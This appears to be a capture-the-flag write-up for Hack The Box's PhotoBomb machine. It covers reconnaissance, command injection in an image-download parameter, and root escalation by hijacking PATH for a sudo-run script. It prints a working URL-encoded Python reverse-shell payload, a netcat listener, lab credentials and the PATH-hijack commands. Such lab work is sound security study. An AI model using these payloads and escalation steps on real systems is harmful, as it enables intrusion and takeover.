WriteUp for PhotoBomb machine from Hack the Box

Machine	PhotoBomb
Vulnerability	Command Injection
Explanation	If we append a system command to the filetype parameter in the post request to /printer, it will be executed.
Privilege Escalation Vulnerability	Writable PATH abuse
Explanation	We can run /opt/cleanup.sh as root without a password with the ability to change PATH environment variable.

Enumeration

nmap scan

Initial nmap scan revealed two open ports:

• 80/tcp : nginx 1.18.0
• 22/tcp : OpenSSH 8.2p1

$ nmap 10.10.11.182 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-04 12:36 EDT
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.50 seconds

Web enumeration

The web server contains the following page:

I got a basic auth prompt after clicking on click here! button.

The Debugger from the developer tools revealed some credentials ph0t0:b0Mb!.

I used those credentials to login.

The login was successful, so I was redirected to /printer.

I scrolled to the bottom of the page, and found a download button that downloaded the selected image with the filetype and dimensions I selected.

I used burpsuite to intersept the request after clicking the Download button.

I thought about command injection, so I played arround with the parameters photo, filetype, and dimensions, using the repeater tool

The photo and dimensions came up empty, but not the filetype.

What got my attention is the error message when I set an invalid filetype

and when I inject a command.

Initial foothold

I sat up a netcat listener on port 1337

$ nc -lnvp 1337

After that, I went back to Burpsuite and injected the following command into the filetype parameter to get a reverse shell.

python3+-c+'import+socket,os,pty%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.37",1337))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bpty.spawn("/bin/sh")'

I got no response back, but whe I went to my listener I had a reverse shell as the wizard user.

I changed directory to /home/wizard and got the user flag

Privilege Escalation

I checked if this user can run commands as sudo.

$ sudo -l

I opened /opt/cleanup.sh to see what it does.

$ cd /opt
$ ls -l
$ cat cleanup.sh

The script is owned by root and I don’t have write permission over it, so I could not change its content.

From the sudo -l output, I knew that I can run /opt/cleanup.sh as root without a password, and can also set environment variables.

At the last line of cleanup.sh, the find command is executed.

I created a costum find in the /tmp

$ cd /tmp
$ echo 'bash -p' > find
$ chmod +x find

I ran /opt/cleanup.sh with sudo, adding /tmp at the beginning of PATH so the find I created will be used instead of the original.

$ sudo PATH=/tmp:$PATH /opt/cleanup.sh

After the execution I got a root shell.

I moved to /root and got the root flag.